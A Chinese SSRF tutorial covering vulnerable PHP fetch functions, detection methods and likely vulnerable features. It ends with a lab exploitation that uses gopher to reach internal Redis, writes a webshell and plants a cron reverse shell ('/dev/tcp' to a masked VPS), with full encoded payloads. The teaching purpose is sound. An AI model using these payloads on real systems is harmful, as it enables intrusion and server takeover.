一、介绍SSRF漏洞
SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
二、SSRF漏洞原理
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web
应用作为代理攻击远程和本地的服务器。
主要攻击方式如下所示。
- 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
- 攻击运行在内网或本地的应用程序。
- 对内网Web应用进行指纹识别,识别企业内部的资产信息。
- 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。
- 利用file协议读取本地文件等。
http://payloads.net/ssrf.php?url=192.168.1.10:3306
http://payloads.net/ssrf.php?url=file:///c:/windows/win.ini
漏洞产生相关函数:
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
(1)file_get_contents()
<?php $url = $_GET['url'];; echo file_get_contents($url); ?>
file_get_content
函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。
(2)fsockopen()
<?php function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } ?>
fsockopen
函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
(3)curl_exec()
<?php if (isset($_POST['url'])){$link = $_POST['url'];$curlobj = curl_init();// 创建新的 cURL 资源curl_setopt($curlobj, CURLOPT_POST, 0);curl_setopt($curlobj,CURLOPT_URL,$link);curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源$filename = './curled/'.rand().'.txt';file_put_contents($filename, $result); echo $result; } ?>
curl_exec
函数用于执行指定的cURL会话
注意:
1.一般情况下PHP不会开启fopen的gopher wrapper 2.file_get_contents的gopher协议不能URL编码 3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败 4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用 5.curl_exec() //默认不跟踪跳转, 6.file_get_contents() // file_get_contents支持php://input协议
三、SSRF漏洞验证方式
3.1.排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞
3.2.dnslog等工具进行测试,看是否被访问(可以在盲打后台,用例中将当前准备请求的url和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求)
3.3.抓包分析发送的请求是不是通过服务器发送的,如果不是客户端发出的请求,则有可能是存在漏洞。接着找存在HTTP服务的内网地址
- 从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
- 通过二级域名暴力猜解工具模糊猜测内网地址
- 通过file协议读取内网信息获取相关地址
3.4.直接返回的Banner、title、content等信息
3.5.留意布尔型SSRF,通过判断两次不同请求结果的差异来判断是否存在SSRF,类似布尔型sql盲注方法。
四、SSRF漏洞利用方式
4.1. 能扫描内部网络,获取端口,服务信息。
4.2. 攻击运行在内网或本地的应用程序。
4.3. 对内网web进行指纹识别
4.4. 对内部主机和端口发送请求包进行攻击
4.5. file协议读取本地文件
五、SSRF漏洞点挖掘
5.1. 社交分享功能:获取超链接的标题等内容进行显示
5.2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
5.3. 在线翻译:给网址翻译对应网页的内容
5.4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
5.6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
5.7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
5.8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数
5.9. 邮件系统:比如接收邮件服务器地址
5.10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
5.11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
5.12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
六、复现SSRF
源代码
<?php
highlight_file(__file__);
function curl($url){ $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}if(isset($_GET['url'])){$url = $_GET['url'];if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match)){die('No, No, No!');}curl($url);
}
if(isset($_GET['info'])){phpinfo();
}
?>
源码过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测。
可以看到过滤了file、dict协议,可以使用gopher协议。
http://X.X.X.X:XXXX/index.php?ip
#可以查看本机IP地址
http://X.X.X.X:XXXX/index.php?url=http://172.X.X.53:6379/&submit=%E6%8F%90%E4%BA%A4
#使用http协议访问6379端口,发现启用了redis服务,那就可以用redis写shell了。
一、写入webshell
使用Gopherus工具生成redis的payload:
发送payload即可写入shell.php,注意_后的字符需要二次url编码。
写入成功就可以访问shell:
二、写入计划任务反弹shell
payload如下,记住需要_后需要二次url编码。
vps:nc -lvvp 1444
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
gopher://127.0.0.1:6379/_%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%74%74%74%25%30%64%25%30%61%24%36%39%25%30%64%25%30%61%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%78%78%78%2e%78%78%2e%78%78%78%2e%78%78%2f%31%34%34%34%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%71%75%69%74%25%30%64%25%30%61